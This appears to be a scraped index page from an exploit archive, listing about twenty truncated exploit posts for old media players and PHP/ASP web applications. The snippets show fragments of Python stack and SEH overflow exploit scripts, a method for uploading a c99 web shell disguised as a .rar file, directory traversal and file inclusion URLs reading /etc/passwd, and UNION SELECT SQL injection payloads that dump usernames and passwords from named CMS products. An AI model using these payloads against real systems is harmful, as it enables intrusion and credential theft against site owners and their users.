Nokia Multimedia Player 1.0 (playlist) Universal SEH Overwrite Exploit

Exploit for unknown platform in category local exploits ====================================================================== Nokia Multimedia Player 1.0 playlist Universal SEH Overwrite Exploit ====================================================================== usage: exploit.py print "" pri...

Media Commands (m3u File) Universal SEH Overwrite Exploit

Exploit for unknown platform in category local exploits ========================================================= Media Commands m3u File Universal SEH Overwrite Exploit ========================================================= usage: exploit.py print "" print " Media Commands m3u File Universal...

Media Commands - .m3u Local Overwrite (SEH)

Media Commands - .m3u Local Overwrite SEH usage: exploit.py print "" print " Media Commands m3u File local Seh Overwrite Exploit\n" print " Founder: Hakxer" print " Exploited: His0k4" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends & muslims HaCkersdz\n" pri...

AJA Modules Rapidshare 1.0.0 Shell Upload

AJA Modules Rapidshare 1.0.0 Remote Shell Upload Vulnerability AUTHOR : Hussin X Home : WwW.IQ-TY.CoM & WwW.TrYaG.cc Mail : [email protected] script : http://www.magtrb.com/en/modules.php?name=Downloads&op=getit&lid=6 exploit : 1. Change Type Shell from c99.Php to c99.php.rar and go to...

ESPG 1.72 File Disclosure

.::ESPG 1.72 File Disclosure Vulnerability::. = Scriptname: ESPG Enhanced Simple PHP Gallery 1.72 = Vendor: http://quirm.net = Download: http://quirm.net/download/21/ = Bugfounder: bd0rk = Contact: bd0rkathackermail.com = Greetings: str0ke, TheJT, Maria, Alucard, x0r32 = Vulnerable Code in...

Total Video Player 1.31 Local Stack Overflow Exploit

!/usr/bin/python import socket print "" print " Total Video Player V1.31 Local Stack Overflow\n" print " Author: His0k4" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends & muslims HaCkersdz\n" print " dz-secure.com\n snakespc.com\n dz-security.net" print ""...

ESPG (Enhanced Simple PHP Gallery) 1.72 - File Disclosure

.::ESPG 1.72 File Disclosure Vulnerability::. = Scriptname: ESPG Enhanced Simple PHP Gallery 1.72 = Vendor: http://quirm.net = Download: http://quirm.net/download/21/ = Bugfounder: bd0rk = Contact: bd0rkathackermail.com = Greetings: str0ke, TheJT, Maria, Alucard, x0r32 = Vulnerable Code in...

VUPlayer 2.49 - '.asx' 'HREF' Universal Buffer Overflow

usage: exploit.py print "" print " VUPlayer 2.49 .ASX File HREF Universal Buffer Overflow\n" print " Founder: aBo MoHaMeD" print " exploit code: His0k4" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends & muslims HaCkersdz\n" print "" header1 =...

Destiny Media Player 1.61 (lst File) Local Buffer Overflow Exploit #4

No description provided by source. usage: exploit.py print "" print " Destiny Media Player 1.61 .lst File Local Stack Overflow Exploit\n" print " Founder: Encrypt3d.M!nd" print " exploit & code: Stack" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends \n" prin...

IntelliTamper 2.07/2.08 Local Stack Overflow Exploit

usage: exploit.py print "" print " IntelliTamper 2.07/2.08 ProxyLogin Local Stack Overflow\n" print " Author: His0k4" print " Tested on: Windows XP Pro SP2 Fr\n" print " Greetings to:" print " All friends & muslims HaCkersdz\n" print "" header =...

Constructr CMS 3.02.5 SQL Injection / Traversal

Constructr CMS http://constructr-cms.org/ - = 3.02.5 "Stable" - magicquotesgpc = Off registerglobals = On - Directory Traversal - Source Disclosure - Arbitrary File Creation - Etc Etc Etc - http://site/constructr/backend/template.php?editfile= Db info: ../config/config.inc.php - SQL -...

ClaSS 0.8.6.0 File Disclosure

ClaSS http://www.laex.org/class/ - =0.8.60 - magicquotesgpc = Off registerglobals = On - File Disclosure/Download - http://site/Class/class/scripts/export.php?ftype= /../../path/to/Class/school.php /../../path/to/Class/dbhconnect.php /../../etc/passwd - Timeline - Author notified: Dec 19 Patch...

IntelliTamper 2.072.08 - .map Local Overwrite (SEH)

IntelliTamper 2.072.08 - .map Local Overwrite SEH !/usr/bin/python IntelliTamper 2.07/2.08 MAP File 0-day Local SEH Overwrite Exploit Bug discovered by cN4phux Tested on: IntelliTamper 2.07/2.08 / win32 SP3 FR Shellcode: Windows Execute Command calc Here's the debugger output like what u see, the...

ClaSS <= 0.8.60 (export.php ftype) Local File Inclusion Vulnerability

No description provided by source. ClaSS http://www.laex.org/class/ - =0.8.60 - magicquotesgpc = Off registerglobals = On - File Disclosure/Download - http://site/Class/class/scripts/export.php?ftype= /../../path/to/Class/school.php /../../path/to/Class/dbhconnect.php /../../etc/passwd - Timeline...

BloofoxCMS 0.3.4 - lang Local File Inclusion

BloofoxCMS 0.3.4 - lang Local File Inclusion BloofoxCMS 0.3.4 http://www.bloofox.com/ magicquotesgpc = Off registerglobals = On - File Inclusion - http://site/bloofoxCMS0.3.4/plugins/spaw2/dialogs/dialog.php?lang=../../../../../../../../../../../../etc/passwd%00 Also vulnerable: dialog.php?theme=...

Injader CMS 2.1.1 (id) Remote SQL Injection Vulnerability

No description provided by source. Injader CMS http://www.injader.com/ - = 2.1.1 - - SQL - http://localhost/upload/feeds.php?name=articles&id=SQL magicquotesgpc = Off registerglobals = On Username urlencode: 2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCATCHAR0,IFNULLCASTusername AS CHAR10000,...

Injader CMS 2.1.1 - 'id' SQL Injection

Injader CMS http://www.injader.com/ - = 2.1.1 - - SQL - http://localhost/upload/feeds.php?name=articles&id= magicquotesgpc = Off registerglobals = On Username urlencode: 2 UNION ALL SELECT NULL, NULL, NULL, NULL, CONCATCHAR0,IFNULLCASTusername AS CHAR10000, CHAR32,CHAR0, NULL, NULL, NULL FROM...

FLDS 1.2a - lpro.php SQL Injection

FLDS 1.2a - lpro.php SQL Injection Free Links Directory Script id SQL Injection Vulnerability Author: nuclear site: http://flds-script.com vuln: http://localhost/path/lpro.php?id=-1 UNION SELECT 1,concatusername,0x3a,password,3,4,5,6,7,8,9,10,11 from users demo:...

wbstreet 1.0 - SQL Injection File Disclosure

wbstreet 1.0 - SQL Injection File Disclosure =================================================================== Wbstreet v.1.0 show.php id Remote SQL Injection Vulnerability =================================================================== ,--^----------,--------,-----,-------^--, | |||||||||...

gallerymx-sql.txt

----------------------------بسم الله الرحمن الرحيم------------------------------ Tybe:picspre.asp ID Blind SQL Injection Vulnerability Vendor: www.mxmania.net/ Software: Gallery MX author: я3d D3v!L Date: 28.11.2008 Home: www.ahacker.biz contact: N/A...